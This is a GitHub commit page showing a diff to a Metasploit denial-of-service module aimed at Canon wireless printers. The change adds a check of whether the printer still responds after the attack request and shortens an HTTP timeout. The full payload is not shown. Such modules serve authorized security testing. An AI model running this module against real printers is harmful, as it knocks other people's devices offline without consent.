Skip to content

Commit 0533ca6

Browse files
committed
Added DoS result checking
Lowered the http timeout
1 parent 8c28631 commit 0533ca6

File tree

1 file changed

+17
-2
lines changed

1 file changed

+17
-2
lines changed

modules/auxiliary/dos/http/canon_wireless_printer.rb

Lines changed: 17 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,15 @@ def initialize(info = {})
3232
'DisclosureDate' => 'Jun 18 2013'))
3333
end
3434

35+
def is_alive?
36+
res = send_request_raw({
37+
'method' => 'GET',
38+
'uri' => '/',
39+
},10)
40+
41+
return !res.nil?
42+
end
43+
3544
def run
3645

3746
begin
@@ -71,8 +80,14 @@ def run
7180
send_request_cgi({
7281
'method' => 'GET',
7382
'uri' => '/English/pages_MacUS/lan_set_content.html'
74-
}) #default timeout, we don't care about the response
75-
print_status("DoS payload sent to #{rhost}:#{rport}. Check the device for responsiveness.")
83+
},5) #default timeout, we don't care about the response
84+
85+
# Check to see if it worked or not
86+
if is_alive?
87+
print_error("#{rhost}:#{rport} - Server is still alive")
88+
else
89+
print_good("#{rhost}:#{rport} - Connection Refused: Success!")
90+
end
7691

7792
end
7893
end

0 commit comments

Comments
 (0)